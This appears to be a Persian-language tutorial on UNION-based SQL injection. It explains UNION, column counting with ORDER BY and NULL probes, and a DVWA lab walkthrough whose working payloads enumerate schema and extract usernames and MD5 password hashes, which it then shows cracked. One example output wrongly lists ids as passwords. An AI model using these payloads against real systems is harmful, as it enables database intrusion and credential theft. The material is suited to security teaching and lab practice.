در این مقاله، به معرفی دستور UNION در زبان SQL و روش UNION Based برای استفاده در حملات SQL injection می پردازیم. در لغت به معنای پیوند و بر قرار کردن اتصال است. در زبان SQL، از دستور UNION برای ترکیب کردن و اجتماع نتایج دو یا چند دستور SELECT استفاده می شود. برای مثال، جداول زیر را در نظر بگیرید:
id | password | username |
204 | 1qaz | User1 |
301 | 2wsx | User2 |
203 | 3edc | User3 |
Table 1
id | password | username |
201 | 4rfv | User4 |
209 | 5tgb | User5 |
205 | 6yhn | User6 |
Table 2
برای در آوردن نام کاربر و رمز عبور آن در جدول Table1 از Query زیر استفاده می کنیم:
Select username, password from Table1
نتیجه ی اجرای این Query عبارت است از:
1qaz | User1 |
2wsx | User2 |
3edc | User3 |
برای استخراج نام کاربر و پسورد آن در جدول Table2 نیز دقیقا به همین ترتیب عمل می کنیم.
Select username, password from Table2
نتیجه اجرای این Query عبارت است از:
201 | User4 |
209 | User5 |
205 | User6 |
حال برای استخراج اجتماع اطلاعات جداول Table1 و Table2 مانند مثال زیر می توانیم از دستور UNION استفاده کنیم:
Select username, password from Table1 UNION select username, password from Table2
نتیجه اجرای این Query عبارت است از:
User1 | 1qaz |
User2 | 2wsx |
User3 | 3edc |
User4 | 4rfv |
User5 | 5tgb |
User6 | 6yhn |
همان طور که دیدیم دستور UNION
نتایج دستور SELECT
اول را با نتایج SELECT
دوم ترکیب کرد.
البته شروطی هم برای استفاده از این دستور وجود دارد که عبارت است از:
- در نتایج تمام دستور های
SELECT
، تعداد ستون های انتخاب شده با هم برابر باشد. - علاوه بر تعداد ستون ها، نوع داده ها نیز با هم یکسان باشد
بنابراین، برای انجام حملات SQL Injection با استفاده از دستور UNION
، ابتدا به دو شرط بالا احتیاج داریم. از طرفی در اکثر موارد، ما اطلاعی از تعداد ستون های انتخاب شده در یک Query نداریم و بنابراین باید روشی برای به دست آوردن آن پیدا کنیم.
دو روش برای بدست آوردن تعداد ستون های Query اصلی وجود دارد.
روش اول، استفاده از دستور ORDER BY
است. دستور ORDER BY
نتایج یک Query را بر اساس شماره ستونی که برای آن مشخص می کنیم به صورت صعودی یا نزولی نمایش می دهد. بنابراین می توانیم با افزایش یا کاهش شماره ستون های مورد نظر و دریافت ارور در شماره ای مشخص، تعداد ستون های Query اصلی را بیابیم. برای مثال، فرض کنید تعداد ستون های Query اصلی برنامه برابر با ۲ است و مثال زیر را در نظر بگیرید:
ORDER BY 1#
No error
ORDER BY 2#
No error
ORDER BY 3#
The ORDER BY position number 3 is out of range of the number of items in the select list.
همان طور که می بینیم، در سومین مرحله با خطا مواجه شدیم. بنابراین نتیجه می گیریم که تعداد ستون های Query اصلی ما دو ستون است. توجه داشته باشید که شاید در خیلی از موارد خطایی مانند مثال بالا چاپ نشود و صرفا خطا با نمایش داده نشدن قسمت هایی از صفحه یا ناقص بودن محتوای صفحه معلوم شود.
روش دوم برای یافتن تعداد ستون های Query اصلی، استفاده از دستور UNION
است. در این روش با استفاده از دستور UNION
و نوشتن ارقام مورد نظر برای بررسی تعداد ستون های Query اصلی، ستون های آسیب پذیر-که محل تزریق دستورها هستند-را هم پیدا می کنیم. به مثال زیر توجه کنید:
UNION SELECT NULL—
UNION SELECT NULL,NULL—
UNION SELECT NULL,NULL,NULL—
هر وقت تعداد NULL
ها از تعداد ستون ها فراتر رفت، با خطا مواجه می شویم که می تواند مانند مثال زیر چاپ شود و یا به صورت ناقص بودن محتوای صفحه نمایان شود.
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.
زمانی که تعداد ستون های Query اصلی و ستون های آسیب پذیر را بدست آوردید، می توانید حمله را آغاز کنید و Query های خود را در ستون های آسیب پذیر تزریق کنید.
در این قسمت، به حل یک مثال عملی از نرم افزار آسیب پذیر dvwa
می پردازیم. این نرم افزار را می توانید از طریق این لینک دانلود کنید. پس از راه اندازی، سطح نرم افزار را روی low قرار داده و مانند تصویر زیر وارد زبانه SQL injection می شویم:
ابتدا با وارد کردن اعداد مختلف شیوه ی عملکرد آن را بررسی می کنیم:
همانطور که در تصویر بالا قابل مشاهده است با وارد کردن هر عدد مشخصات یک کاربر در این سامانه به ما نمایش داده می شود. حالا فرض کنید می خواهیم تمام خروجی های برنامه به صورت یک جا ظاهر شوند تا تعداد آن ها و تعداد ستون های Query اصلی برنامه را بیابیم. برای این منظور، از کد زیر استفاده می کنیم:
1’ OR 1=1#
همان طور که در تصویر بالا قابل مشاهده است، برنامه مجموعا ۵ خروجی دارد و مهم تر از آن تعداد ستون های Query اصلی برنامه است که عبارت است از ۲ مورد First name و Surname. توجه داشته باشید در صورتی که تعداد ستون ها مشخص نبود، باید از روش هایی که در قسمت قبلی مقاله توضیح دادیم (OEDER BY
و UNION
) برای یافتن آن ها استفاده می کردیم.
در گام بعدی با استفاده از دستور UNION
به سراغ پیدا کردن نام پایگاه داده و نام کاربر مورد استفاده برنامه می رویم. برای این کار به ترتیب باید از دو تابع ()database
و ()user
استفاده کنیم که نام پایگاه داده و نام کاربر را در پایگاه داده MySQL در اختیار ما قرار می دهد. بنابراین از ورودی مانند مثال زیر استفاده می کنیم:
1’ UNION SELECT database(), user()#
همان طورکه در سطر آخر خروجی مشاهده می کنید، نام پایگاه داده به همراه اطلاعات کاربر اصلی نمایش داده شده است. گام بعدی پیدا کردن نام جداول موجود در این پایگاه داده است.
1’ UNION SELECT null, table_name from information_schema.tables where table_schema=database()#
Information_schema
یک پایگاه داده عمومی در MySQL است که شامل اطلاعاتی در مورد پایگاه داده های دیگر موجود در سرور است. از مهم ترین جداول موجود در آن می توان به tables
و columns
اشاره کرد که به ترتیب لیستی از جدول ها و ستون های پایگاه داده های دیگر را در خود نگه داری می کند. در Query بالا با استفاده از نام پایگاه داده فعلی در داخل information_schame
به جستجوی اسامی جداول آن پرداخته ایم.
همان طور که در تصویر بالا مشخص است نام جدول کاربران این سایت users است. اکنون با استفاده از Query زیر و با فیلتر کردن نام جدول به دنبال پیدا کردن نام ستون های این جدول می رویم. در پاسخ، به دنبال نشانه هایی از password
می گردیم.
1’ UNION SELECT null, column_name from information_schema.columns where table_name = ‘users’#
همان طور که در تصویر بالا مشاهده می کنید، ستون های جدول users را پیدا کردیم. در گام آخر، به عنوان یک هکر می خواهیم از ستون password
رمز عبور کاربران را به همراه نام کاربری آن ها استخراج کنیم.
برای این کار باید مانند مثال زیر عمل کنیم:
1’ UNION SELECT user, password from users#
همان طور که در تصویر بالا مشاهده می کنید موفق شدیم که رمز عبور رمزنگاری شده ی کاربران را به دست آوریم. این پسورد ها با استفاده از الگوریتم MD5 رمز شده اند و با دادن آن به سایت های آنلاین خروجی رمزهای عبور برای کاربران مانند جدول زیر می شود:
Password | Username |
password | admin |
abc123 | gordonb |
charley | 1337 |
letmein | pablo |
password | smithy |